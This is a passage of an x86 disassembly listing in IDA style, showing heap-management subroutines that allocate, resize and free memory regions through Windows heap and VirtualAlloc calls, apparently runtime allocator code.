lea edi, [eax+edi+4]
lea ecx, [eax+ecx*4+0C4h]
not ebx
and [ecx], ebx
dec byte ptr [edi]
mov [ebp+var_14], ebx
jnz short loc_419221
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx+4], ecx
jmp short loc_419224
; ---------------------------------------------------------------------------
loc_419221: ; CODE XREF: sub_419011+1D6j
; sub_419011+203j
mov ebx, [ebp+arg_0]
loc_419224: ; CODE XREF: sub_419011+1B0j
; sub_419011+1E0j ...
mov ecx, [edx+8]
mov edi, [edx+4]
cmp [ebp+var_8], 0
mov [ecx+4], edi
mov ecx, [edx+4]
mov edi, [edx+8]
mov [ecx+8], edi
jz loc_4192D4
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [edx+4], edi
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_4192C5
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_0+3], cl
jge short loc_419296
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_419284
mov edi, 80000000h
mov ecx, esi
shr edi, cl
or [ebx], edi
loc_419284: ; CODE XREF: sub_419011+266j
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+var_4]
or [eax+ecx*4+44h], edi
jmp short loc_4192C5
; ---------------------------------------------------------------------------
loc_419296: ; CODE XREF: sub_419011+25Aj
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_4192AF
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
or [ebx+4], edi
loc_4192AF: ; CODE XREF: sub_419011+28Fj
mov ecx, [ebp+var_4]
lea edi, [eax+ecx*4+0C4h]
lea ecx, [esi-20h]
mov esi, 80000000h
shr esi, cl
or [edi], esi
loc_4192C5: ; CODE XREF: sub_419011+24Ej
; sub_419011+283j
mov ecx, [ebp+var_8]
loc_4192C8: ; CODE XREF: sub_419011+1A4j
test ecx, ecx
jz short loc_4192D7
mov [edx], ecx
mov [ecx+edx-4], ecx
jmp short loc_4192D7
; ---------------------------------------------------------------------------
loc_4192D4: ; CODE XREF: sub_419011+229j
mov ecx, [ebp+var_8]
loc_4192D7: ; CODE XREF: sub_419011+2B9j
; sub_419011+2C1j
mov esi, [ebp+var_10]
add edx, ecx
lea ecx, [esi+1]
mov [edx], ecx
mov [edx+esi-4], ecx
mov esi, [ebp+var_C]
mov ecx, [esi]
test ecx, ecx
lea edi, [ecx+1]
mov [esi], edi
jnz short loc_41930D
cmp ebx, dword_46CC94
jnz short loc_41930D
mov ecx, [ebp+var_4]
cmp ecx, dword_46CC8C
jnz short loc_41930D
and dword_46CC94, 0
loc_41930D: ; CODE XREF: sub_419011+2E0j
; sub_419011+2E8j ...
mov ecx, [ebp+var_4]
mov [eax], ecx
lea eax, [edx+4]
loc_419315: ; CODE XREF: sub_419011+F0j
pop edi
pop esi
pop ebx
leave
retn
sub_419011 endp
; =============== S U B R O U T I N E =======================================
sub_41931A proc near ; CODE XREF: sub_419011+CCp
mov eax, dword_46CC98
mov ecx, dword_46CC88
push esi
push edi
xor edi, edi
cmp eax, ecx
jnz short loc_41935D
lea eax, [ecx+ecx*4+50h]
shl eax, 2
push eax
push dword_46CC9C
push edi
push dword_46CCA4
call dword_421160 ; RtlReAllocateHeap
cmp eax, edi
jz short loc_4193AD
add dword_46CC88, 10h
mov dword_46CC9C, eax
mov eax, dword_46CC98
loc_41935D: ; CODE XREF: sub_41931A+11j
mov ecx, dword_46CC9C
push 41C4h
push 8
lea eax, [eax+eax*4]
push dword_46CCA4
lea esi, [ecx+eax*4]
call dword_42114C ; RtlAllocateHeap
cmp eax, edi
mov [esi+10h], eax
jz short loc_4193AD
push 4
push 2000h
push 100000h
push edi
call dword_421180 ; VirtualAlloc
cmp eax, edi
mov [esi+0Ch], eax
jnz short loc_4193B1
push dword ptr [esi+10h]
push edi
push dword_46CCA4
call dword_421150 ; RtlFreeHeap
loc_4193AD: ; CODE XREF: sub_41931A+30j
; sub_41931A+67j
xor eax, eax
jmp short loc_4193C8
; ---------------------------------------------------------------------------
loc_4193B1: ; CODE XREF: sub_41931A+81j
or dword ptr [esi+8], 0FFFFFFFFh
mov [esi], edi
mov [esi+4], edi
inc dword_46CC98
mov eax, [esi+10h]
or dword ptr [eax], 0FFFFFFFFh
mov eax, esi
loc_4193C8: ; CODE XREF: sub_41931A+95j
pop edi
pop esi
retn
sub_41931A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4193CB proc near ; CODE XREF: sub_419011+DBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
mov esi, [ecx+10h]
mov eax, [ecx+8]
xor ebx, ebx
loc_4193DD: ; CODE XREF: sub_4193CB+19j
test eax, eax
jl short loc_4193E6
shl eax, 1
inc ebx
jmp short loc_4193DD
; ---------------------------------------------------------------------------
loc_4193E6: ; CODE XREF: sub_4193CB+14j
mov eax, ebx
push 3Fh
imul eax, 204h
pop edx
lea eax, [eax+esi+144h]
mov [ebp+var_4], eax
loc_4193FB: ; CODE XREF: sub_4193CB+3Aj
mov [eax+8], eax
mov [eax+4], eax
add eax, 8
dec edx
jnz short loc_4193FB
mov edi, ebx
push 4
shl edi, 0Fh
add edi, [ecx+0Ch]
push 1000h
push 8000h
push edi
call dword_421180 ; VirtualAlloc
test eax, eax
jnz short loc_41942E
or eax, 0FFFFFFFFh
jmp loc_4194C1
; ---------------------------------------------------------------------------
loc_41942E: ; CODE XREF: sub_4193CB+59j
lea edx, [edi+7000h]
cmp edi, edx
ja short loc_419474
lea eax, [edi+10h]
loc_41943B: ; CODE XREF: sub_4193CB+A7j
or dword ptr [eax-8], 0FFFFFFFFh
or dword ptr [eax+0FECh], 0FFFFFFFFh
lea ecx, [eax+0FFCh]
mov dword ptr [eax-4], 0FF0h
mov [eax], ecx
lea ecx, [eax-1004h]
mov [eax+4], ecx
mov dword ptr [eax+0FE8h], 0FF0h
add eax, 1000h
lea ecx, [eax-10h]
cmp ecx, edx
jbe short loc_41943B
loc_419474: ; CODE XREF: sub_4193CB+6Bj
mov eax, [ebp+var_4]
lea ecx, [edi+0Ch]
add eax, 1F8h
push 1
pop edi
mov [eax+4], ecx
mov [ecx+8], eax
lea ecx, [edx+0Ch]
mov [eax+8], ecx
mov [ecx+4], eax
and dword ptr [esi+ebx*4+44h], 0
mov [esi+ebx*4+0C4h], edi
mov al, [esi+43h]
mov cl, al
inc cl
test al, al
mov eax, [ebp+arg_0]
mov [esi+43h], cl
jnz short loc_4194B1
or [eax+4], edi
loc_4194B1: ; CODE XREF: sub_4193CB+E1j
mov edx, 80000000h
mov ecx, ebx
shr edx, cl
not edx
and [eax+8], edx
mov eax, ebx
loc_4194C1: ; CODE XREF: sub_4193CB+5Ej
pop edi
pop esi
pop ebx
leave
retn
sub_4193CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4194C6 proc near ; CODE XREF: sub_41737F+6Ap
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov ecx, [ebp+arg_0]
mov eax, [ebp+arg_8]
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
mov edx, edi
lea esi, [eax+17h]
sub edx, [ecx+0Ch]
mov eax, [ecx+10h]
and esi, 0FFFFFFF0h
shr edx, 0Fh
mov ecx, edx
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [edi-4]
dec ecx
cmp esi, ecx
mov [ebp+arg_8], ecx
mov ebx, [ecx+edi-4]
lea edi, [ecx+edi-4]
mov [ebp+var_4], ebx
jle loc_419674
test bl, 1
jnz loc_41966D
add ebx, ecx
cmp esi, ebx
jg loc_41966D
mov ecx, [ebp+var_4]
sar ecx, 4
dec ecx
cmp ecx, 3Fh
mov [ebp+var_8], ecx
jbe short loc_41953D
push 3Fh
pop ecx
mov [ebp+var_8], ecx
loc_41953D: ; CODE XREF: sub_4194C6+6Fj
mov ebx, [edi+4]
cmp ebx, [edi+8]
jnz short loc_41958D
cmp ecx, 20h
jnb short loc_419569
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41958D
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41958D
; ---------------------------------------------------------------------------
loc_419569: ; CODE XREF: sub_4194C6+82j
add ecx, 0FFFFFFE0h
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41958D
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41958D: ; CODE XREF: sub_4194C6+7Dj
; sub_4194C6+9Aj ...
mov ecx, [edi+8]
mov ebx, [edi+4]
mov [ecx+4], ebx
mov ecx, [edi+4]
mov edi, [edi+8]
mov [ecx+8], edi
mov ecx, [ebp+arg_8]
sub ecx, esi
add [ebp+var_4], ecx
cmp [ebp+var_4], 0
jle loc_41965B
mov edi, [ebp+var_4]
mov ecx, [ebp+arg_4]
sar edi, 4
dec edi
lea ecx, [ecx+esi-4]
cmp edi, 3Fh
jbe short loc_4195C7
push 3Fh
pop edi
loc_4195C7: ; CODE XREF: sub_4194C6+FCj
mov ebx, [ebp+var_C]
lea ebx, [ebx+edi*8]
mov [ebp+arg_8], ebx
mov ebx, [ebx+4]
mov [ecx+4], ebx
mov ebx, [ebp+arg_8]
mov [ecx+8], ebx
mov [ebx+4], ecx
mov ebx, [ecx+4]
mov [ebx+8], ecx
mov ebx, [ecx+4]
cmp ebx, [ecx+8]
jnz short loc_419649
mov cl, [edi+eax+4]
cmp edi, 20h
mov byte ptr [ebp+arg_8+3], cl
inc cl
mov [edi+eax+4], cl
jnb short loc_419620
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_419613
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_419613: ; CODE XREF: sub_4194C6+13Dj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, edi
jmp short loc_419645
; ---------------------------------------------------------------------------
loc_419620: ; CODE XREF: sub_4194C6+137j
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_419636
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_419636: ; CODE XREF: sub_4194C6+15Ej
lea eax, [eax+edx*4+0C4h]
lea ecx, [edi-20h]
mov edx, 80000000h
loc_419645: ; CODE XREF: sub_4194C6+158j
shr edx, cl
or [eax], edx
loc_419649: ; CODE XREF: sub_4194C6+125j
mov edx, [ebp+arg_4]
mov ecx, [ebp+var_4]
lea eax, [edx+esi-4]
mov [eax], ecx
mov [ecx+eax-4], ecx
jmp short loc_41965E
; ---------------------------------------------------------------------------
loc_41965B: ; CODE XREF: sub_4194C6+E5j
mov edx, [ebp+arg_4]
loc_41965E: ; CODE XREF: sub_4194C6+193j
lea eax, [esi+1]
mov [edx-4], eax
mov [edx+esi-8], eax
jmp loc_4197B4
; ---------------------------------------------------------------------------
loc_41966D: ; CODE XREF: sub_4194C6+52j
; sub_4194C6+5Cj
xor eax, eax
jmp loc_4197B7
; ---------------------------------------------------------------------------
loc_419674: ; CODE XREF: sub_4194C6+49j
jge loc_4197B4
mov ebx, [ebp+arg_4]
sub [ebp+arg_8], esi
lea ecx, [esi+1]
mov [ebx-4], ecx
lea ebx, [ebx+esi-4]
mov esi, [ebp+arg_8]
mov [ebp+arg_4], ebx
sar esi, 4
dec esi
mov [ebx-4], ecx
cmp esi, 3Fh
jbe short loc_41969F
push 3Fh
pop esi
loc_41969F: ; CODE XREF: sub_4194C6+1D4j
test byte ptr [ebp+var_4], 1
jnz loc_41972E
mov esi, [ebp+var_4]
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_4196B8
push 3Fh
pop esi
loc_4196B8: ; CODE XREF: sub_4194C6+1EDj
mov ecx, [edi+4]
cmp ecx, [edi+8]
jnz short loc_419707
cmp esi, 20h
jnb short loc_4196E3
mov ebx, 80000000h
mov ecx, esi
shr ebx, cl
lea esi, [esi+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [esi]
jnz short loc_419704
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_419704
; ---------------------------------------------------------------------------
loc_4196E3: ; CODE XREF: sub_4194C6+1FDj
lea ecx, [esi-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [esi+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_419704
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_419704: ; CODE XREF: sub_4194C6+214j
; sub_4194C6+21Bj ...
mov ebx, [ebp+arg_4]
loc_419707: ; CODE XREF: sub_4194C6+1F8j
mov ecx, [edi+8]
mov esi, [edi+4]
mov [ecx+4], esi
mov ecx, [edi+4]
mov esi, [edi+8]
mov [ecx+8], esi
mov esi, [ebp+arg_8]
add esi, [ebp+var_4]
mov [ebp+arg_8], esi
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41972E
push 3Fh
pop esi
loc_41972E: ; CODE XREF: sub_4194C6+1DDj
; sub_4194C6+263j
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [ebx+4], edi
mov [ebx+8], ecx
mov [ecx+4], ebx
mov ecx, [ebx+4]
mov [ecx+8], ebx
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_4197AB
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [esi+eax+4], cl
jnb short loc_419782
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_419775
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx], edi
loc_419775: ; CODE XREF: sub_4194C6+29Fj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, esi
jmp short loc_4197A7
; ---------------------------------------------------------------------------
loc_419782: ; CODE XREF: sub_4194C6+299j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_419798
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx+4], edi
loc_419798: ; CODE XREF: sub_4194C6+2C0j
lea eax, [eax+edx*4+0C4h]
lea ecx, [esi-20h]
mov edx, 80000000h
loc_4197A7: ; CODE XREF: sub_4194C6+2BAj
shr edx, cl
or [eax], edx
loc_4197AB: ; CODE XREF: sub_4194C6+287j
mov eax, [ebp+arg_8]
mov [ebx], eax
mov [eax+ebx-4], eax
loc_4197B4: ; CODE XREF: sub_4194C6+1A2j
; sub_4194C6:loc_419674j
push 1
pop eax
loc_4197B7: ; CODE XREF: sub_4194C6+1A9j
pop edi
pop esi
pop ebx
leave
retn
sub_4194C6 endp
; =============== S U B R O U T I N E =======================================
sub_4197BC proc near ; CODE XREF: sub_418C18+41p
; sub_419AB4:loc_419C83p
cmp dword_438150, 0FFFFFFFFh
push ebx
push ebp
push esi
push edi
jnz short loc_4197D0
mov esi, offset off_438140
jmp short loc_4197ED
; ---------------------------------------------------------------------------
loc_4197D0: ; CODE XREF: sub_4197BC+Bj
push 2020h
push 0
push dword_46CCA4
call dword_42114C ; RtlAllocateHeap
mov esi, eax
test esi, esi
jz loc_4198F9
loc_4197ED: ; CODE XREF: sub_4197BC+12j
mov ebp, dword_421180
push 4
push 2000h
push offset __ImageBase
push 0
call ebp ; VirtualAlloc
mov edi, eax
test edi, edi
jz loc_4198E2
push 4
mov ebx, 10000h
push 1000h
push ebx
push edi
call ebp ; VirtualAlloc
test eax, eax
jz loc_4198D4
mov eax, offset off_438140
cmp esi, eax
jnz short loc_41984C
cmp off_438140, 0
jnz short loc_41983C
mov off_438140, eax
loc_41983C: ; CODE XREF: sub_4197BC+79j
cmp off_438144, 0
jnz short loc_419861
mov off_438144, eax
jmp short loc_419861
; ---------------------------------------------------------------------------
loc_41984C: ; CODE XREF: sub_4197BC+70j
mov [esi], eax
mov eax, off_438144
mov [esi+4], eax
mov off_438144, esi
mov eax, [esi+4]
mov [eax], esi
loc_419861: ; CODE XREF: sub_4197BC+87j
; sub_4197BC+8Ej
lea eax, __ImageBase[edi]
lea ecx, [esi+98h]
mov [esi+14h], eax
lea eax, [esi+18h]
mov [esi+0Ch], ecx
mov [esi+10h], edi
mov [esi+8], eax
xor ebp, ebp
mov ecx, 0F1h
loc_419883: ; CODE XREF: sub_4197BC+E2j
xor edx, edx
cmp ebp, 10h
setnl dl
dec edx
and edx, ecx
dec edx
inc ebp
mov [eax], edx
mov [eax+4], ecx
add eax, 8
cmp ebp, 400h
jl short loc_419883
push ebx
push 0
push edi
call sub_415390
add esp, 0Ch
loc_4198AC: ; CODE XREF: sub_4197BC+112j
mov eax, [esi+10h]
add eax, ebx
cmp edi, eax
jnb short loc_4198D0
or byte ptr [edi+0F8h], 0FFh
lea eax, [edi+8]
mov [edi], eax
mov dword ptr [edi+4], 0F0h
add edi, 1000h
jmp short loc_4198AC
; ---------------------------------------------------------------------------
loc_4198D0: ; CODE XREF: sub_4197BC+F7j
mov eax, esi
jmp short loc_4198FB
; ---------------------------------------------------------------------------
loc_4198D4: ; CODE XREF: sub_4197BC+63j
push 8000h
push 0
push edi
call dword_42117C ; VirtualFree
loc_4198E2: ; CODE XREF: sub_4197BC+4Bj
cmp esi, offset off_438140
jz short loc_4198F9
push esi
push 0
push dword_46CCA4
call dword_421150 ; RtlFreeHeap
loc_4198F9: ; CODE XREF: sub_4197BC+2Bj
; sub_4197BC+12Cj
xor eax, eax
loc_4198FB: ; CODE XREF: sub_4197BC+116j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_4197BC endp
; =============== S U B R O U T I N E =======================================
sub_419900 proc near ; CODE XREF: sub_419956+A5p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 8000h
push 0
push dword ptr [esi+10h]
call dword_42117C ; VirtualFree
cmp off_43A160, esi
jnz short loc_419925
mov eax, [esi+4]
mov off_43A160, eax
loc_419925: ; CODE XREF: sub_419900+1Bj
cmp esi, offset off_438140
jz short loc_41994D
mov eax, [esi+4]
mov ecx, [esi]
push esi
push 0
mov [eax], ecx
mov eax, [esi]
mov ecx, [esi+4]
mov [eax+4], ecx
push dword_46CCA4
call dword_421150 ; RtlFreeHeap
pop esi
retn
; ---------------------------------------------------------------------------
loc_41994D: ; CODE XREF: sub_419900+2Bj
or dword_438150, 0FFFFFFFFh
pop esi
retn
sub_419900 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419956 proc near ; CODE XREF: sub_419A6F+3Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, off_438144
push edi
loc_419963: ; CODE XREF: sub_419956+B7j
cmp dword ptr [esi+10h], 0FFFFFFFFh
jz loc_419A01
and [ebp+var_4], 0
lea edi, [esi+2010h]
mov ebx, 3FF000h
loc_41997C: ; CODE XREF: sub_419956+72j
cmp dword ptr [edi], 0F0h
jnz short loc_4199BD
mov eax, ebx
push 4000h
add eax, [esi+10h]
push 1000h
push eax
call dword_42117C ; VirtualFree
test eax, eax
jz short loc_4199BD
or dword ptr [edi], 0FFFFFFFFh
dec dword_46B69C
mov eax, [esi+0Ch]
test eax, eax
jz short loc_4199B2
cmp eax, edi
jbe short loc_4199B5
loc_4199B2: ; CODE XREF: sub_419956+56j
mov [esi+0Ch], edi
loc_4199B5: ; CODE XREF: sub_419956+5Aj
inc [ebp+var_4]
dec [ebp+arg_0]
jz short loc_4199CA
loc_4199BD: ; CODE XREF: sub_419956+2Cj
; sub_419956+46j
sub ebx, 1000h
sub edi, 8
test ebx, ebx
jge short loc_41997C
loc_4199CA: ; CODE XREF: sub_419956+65j
cmp [ebp+var_4], 0
mov ecx, esi
mov esi, [esi+4]
jz short loc_419A01
cmp dword ptr [ecx+18h], 0FFFFFFFFh
jnz short loc_419A01
push 1
lea eax, [ecx+20h]
pop edx
loc_4199E1: ; CODE XREF: sub_419956+9Aj
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_4199F2
inc edx
add eax, 8
cmp edx, 400h
jl short loc_4199E1
loc_4199F2: ; CODE XREF: sub_419956+8Ej
cmp edx, 400h
jnz short loc_419A01
push ecx
call sub_419900
pop ecx
loc_419A01: ; CODE XREF: sub_419956+11j
; sub_419956+7Dj ...
cmp esi, off_438144
jz short loc_419A13
cmp [ebp+arg_0], 0
jg loc_419963
loc_419A13: ; CODE XREF: sub_419956+B1j
pop edi
pop esi
pop ebx
leave
retn
sub_419956 endp
; =============== S U B R O U T I N E =======================================
sub_419A18 proc near ; CODE XREF: sub_415C9B+3Ap
; sub_41737F+173p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov edx, offset off_438140
push esi
mov ecx, edx
loc_419A24: ; CODE XREF: sub_419A18+1Cj
cmp eax, [ecx+10h]
jbe short loc_419A2E
cmp eax, [ecx+14h]
jb short loc_419A36
loc_419A2E: ; CODE XREF: sub_419A18+Fj
mov ecx, [ecx]
cmp ecx, edx
jz short loc_419A6B
jmp short loc_419A24
; ---------------------------------------------------------------------------
loc_419A36: ; CODE XREF: sub_419A18+14j
test al, 0Fh
jnz short loc_419A6B
mov esi, eax
mov edx, 100h
and esi, 0FFFh
cmp esi, edx
jb short loc_419A6B
mov esi, [esp+4+arg_4]
mov [esi], ecx
mov esi, [esp+4+arg_8]
mov ecx, eax
and cx, 0F000h
sub eax, ecx
mov [esi], ecx
sub eax, edx
pop esi
sar eax, 4
lea eax, [eax+ecx+8]
retn
; ---------------------------------------------------------------------------
loc_419A6B: ; CODE XREF: sub_419A18+1Aj
; sub_419A18+20j ...
xor eax, eax
pop esi
retn
sub_419A18 endp
; =============== S U B R O U T I N E =======================================
sub_419A6F proc near ; CODE XREF: sub_415C9B+4Dp
; sub_41737F+1D5p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
sub ecx, [eax+10h]
sar ecx, 0Ch
lea eax, [eax+ecx*8+18h]
mov ecx, [esp+arg_8]
movzx edx, byte ptr [ecx]
add [eax], edx
and byte ptr [ecx], 0
cmp dword ptr [eax], 0F0h
mov dword ptr [eax+4], 0F1h
jnz short locret_419AB3
inc dword_46B69C
cmp dword_46B69C, 20h
jnz short locret_419AB3
push 10h
call sub_419956
pop ecx
locret_419AB3: ; CODE XREF: sub_419A6F+2Bj
; sub_419A6F+3Aj
retn
sub_419A6F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419AB4 proc near ; CODE XREF: sub_415C27+4Ap
; sub_41737F+1ACp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, off_43A160
push edi
loc_419AC2: ; CODE XREF: sub_419AB4+C6j
mov edx, [esi+10h]
cmp edx, 0FFFFFFFFh
jz loc_419B6D
mov edi, [esi+8]
lea ecx, [esi+2018h]
mov eax, edi
sub eax, esi
sub eax, 18h
sar eax, 3
shl eax, 0Ch
add eax, edx
cmp edi, ecx
mov [ebp+var_4], eax
jnb short loc_419B27
loc_419AED: ; CODE XREF: sub_419AB4+6Fj
mov ecx, [edi]
mov ebx, [ebp+arg_0]
cmp ecx, ebx
jl short loc_419B10
cmp [edi+4], ebx
jbe short loc_419B10
push ebx
push ecx
push eax
call sub_419CBC
add esp, 0Ch
test eax, eax
jnz short loc_419B7F
mov eax, [ebp+var_4]
mov [edi+4], ebx
loc_419B10: ; CODE XREF: sub_419AB4+40j
; sub_419AB4+45j
add edi, 8
lea ecx, [esi+2018h]
add eax, 1000h
cmp edi, ecx
mov [ebp+var_4], eax
jb short loc_419AED
jmp short loc_419B2A
; ---------------------------------------------------------------------------
loc_419B27: ; CODE XREF: sub_419AB4+37j
mov ebx, [ebp+arg_0]
loc_419B2A: ; CODE XREF: sub_419AB4+71j
mov eax, [esi+8]
mov ecx, [esi+10h]
lea edi, [esi+18h]
mov [ebp+var_8], eax
cmp edi, eax
mov [ebp+var_4], ecx
jnb short loc_419B70
loc_419B3D: ; CODE XREF: sub_419AB4+B5j
mov eax, [edi]
cmp eax, ebx
jl short loc_419B5C
cmp [edi+4], ebx
jbe short loc_419B5C
push ebx
push eax
push [ebp+var_4]
call sub_419CBC
add esp, 0Ch
test eax, eax
jnz short loc_419B7F
mov [edi+4], ebx
loc_419B5C: ; CODE XREF: sub_419AB4+8Dj
; sub_419AB4+92j
add [ebp+var_4], 1000h
add edi, 8
cmp edi, [ebp+var_8]
jb short loc_419B3D
jmp short loc_419B70
; ---------------------------------------------------------------------------
loc_419B6D: ; CODE XREF: sub_419AB4+14j
mov ebx, [ebp+arg_0]
loc_419B70: ; CODE XREF: sub_419AB4+87j
; sub_419AB4+B7j
mov esi, [esi]
cmp esi, off_43A160
jz short loc_419B8F
jmp loc_419AC2
; ---------------------------------------------------------------------------
loc_419B7F: ; CODE XREF: sub_419AB4+54j
; sub_419AB4+A3j
mov off_43A160, esi
sub [edi], ebx
mov [esi+8], edi
jmp loc_419CB7
; ---------------------------------------------------------------------------
loc_419B8F: ; CODE XREF: sub_419AB4+C4j
mov eax, offset off_438140
mov edi, eax
loc_419B96: ; CODE XREF: sub_419AB4+F8j
cmp dword ptr [edi+10h], 0FFFFFFFFh
jz short loc_419BA2
cmp dword ptr [edi+0Ch], 0
jnz short loc_419BAE
loc_419BA2: ; CODE XREF: sub_419AB4+E6j
mov edi, [edi]
cmp edi, eax
jz loc_419C83
jmp short loc_419B96
; ---------------------------------------------------------------------------
loc_419BAE: ; CODE XREF: sub_419AB4+ECj
mov ebx, [edi+0Ch]
and [ebp+var_4], 0
mov esi, ebx
mov eax, ebx
sub esi, edi
sub esi, 18h
sar esi, 3
shl esi, 0Ch
add esi, [edi+10h]
cmp dword ptr [ebx], 0FFFFFFFFh
jnz short loc_419BDD
loc_419BCC: ; CODE XREF: sub_419AB4+127j
cmp [ebp+var_4], 10h
jge short loc_419BDD
add eax, 8
inc [ebp+var_4]
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_419BCC
loc_419BDD: ; CODE XREF: sub_419AB4+116j
; sub_419AB4+11Cj
mov eax, [ebp+var_4]
push 4
shl eax, 0Ch
push 1000h
push eax
push esi
mov [ebp+var_8], eax
call dword_421180 ; VirtualAlloc
cmp eax, esi
jnz loc_419CB5
push 0
push [ebp+var_8]
push esi
call sub_415390
mov edx, [ebp+var_4]
add esp, 0Ch
test edx, edx
mov ecx, ebx
jle short loc_419C44
lea eax, [esi+4]
mov [ebp+var_4], edx
loc_419C1A: ; CODE XREF: sub_419AB4+18Ej
or byte ptr [eax+0F4h], 0FFh
lea edx, [eax+4]
mov [eax-4], edx
mov edx, 0F0h
mov [eax], edx
mov [ecx], edx
mov dword ptr [ecx+4], 0F1h
add eax, 1000h
add ecx, 8
dec [ebp+var_4]
jnz short loc_419C1A
loc_419C44: ; CODE XREF: sub_419AB4+15Ej
mov off_43A160, edi
lea eax, [edi+2018h]
loc_419C50: ; CODE XREF: sub_419AB4+1A8j
cmp ecx, eax
jnb short loc_419C60
cmp dword ptr [ecx], 0FFFFFFFFh
jz short loc_419C5E
add ecx, 8
jmp short loc_419C50
; ---------------------------------------------------------------------------
loc_419C5E: ; CODE XREF: sub_419AB4+1A3j
cmp ecx, eax
loc_419C60: ; CODE XREF: sub_419AB4+19Ej
sbb eax, eax
and eax, ecx
mov [edi+0Ch], eax
mov eax, [ebp+arg_0]
mov [esi+8], al
mov [edi+8], ebx
sub [ebx], eax
sub [esi+4], eax
lea ecx, [esi+eax+8]
lea eax, [esi+100h]
mov [esi], ecx
jmp short loc_419CB7
; ---------------------------------------------------------------------------
loc_419C83: ; CODE XREF: sub_419AB4+F2j
call sub_4197BC
test eax, eax
jz short loc_419CB5
mov ecx, [eax+10h]
mov [ecx+8], bl
lea edx, [ecx+ebx+8]
mov off_43A160, eax
mov [ecx], edx
mov edx, 0F0h
sub edx, ebx
mov [ecx+4], edx
movzx edx, bl
sub [eax+18h], edx
lea eax, [ecx+100h]
jmp short loc_419CB7
; ---------------------------------------------------------------------------
loc_419CB5: ; CODE XREF: sub_419AB4+143j
; sub_419AB4+1D6j
xor eax, eax
loc_419CB7: ; CODE XREF: sub_419AB4+D6j
; sub_419AB4+1CDj ...
pop edi
pop esi
pop ebx
leave
retn
sub_419AB4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419CBC proc near ; CODE XREF: sub_419AB4+4Ap
; sub_419AB4+99p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_8]
push ebx
push esi
mov esi, [ecx+4]
push edi
mov edi, [ecx]
lea ebx, [ecx+0F8h]
cmp esi, edx
